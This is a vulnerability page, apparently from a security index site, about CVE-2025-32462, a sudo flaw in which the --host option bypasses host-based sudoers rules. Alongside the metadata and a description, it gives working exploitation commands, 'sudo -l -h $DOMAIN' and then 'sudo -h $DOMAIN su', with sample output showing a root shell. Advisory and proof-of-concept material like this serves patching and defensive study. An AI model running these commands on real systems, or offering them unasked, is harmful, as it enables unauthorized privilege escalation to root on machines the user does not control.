# CVE-2025-32462 - Sudoers Host Escape

> sudo --host flag allows unprivileged users to bypass host-based sudoers restrictions, enabling unauthorized privilege escalation on targeted systems.

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-32462
- **CVE:** CVE-2025-32462
- **GHSA:** GHSA-c5x2-97hm-x895
- **CVSS score:** 8,8
- **CVSS vector:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- **Type:** CWE-863
- **Complexity:** High
- **Privileges:** Low
- **Published:** 2026-02-21
- **Updated:** 2026-08-11

CVE-2025-32462 is a logic flaw in **sudo** where host-based rules in `sudoers` can be bypassed: by abusing the `--host` (`-h`) behavior, a user who is allowed sudo on one host can end up running commands even when the rule’s host field doesn’t match the current machine. This can cause **unauthorized command execution and privilege escalation** in environments that rely on hostname restrictions (especially with shared/centralized sudoers policies).

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Local Exploitation

In order to exploit this sudo host parameter we need a domain. Search the system for local domains you can use and try the following:

```bash
sudo -l -h $DOMAIN
# Matching Defaults entries for $USER on $DOMAIN:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
#
# User $USER may run the following commands on offramp:
#     (root) NOPASSWD: ALL
#
```

This shows us we can run anything as root within that host like:

```bash
sudo -h $DOMAIN su
# # whoami
# root
```

## References

- [Sudo 1.9.17 Host Option - Elevation of Privilege](https://www.exploit-db.com/exploits/52354)
- [Sudo host option elevation of privilege](https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/)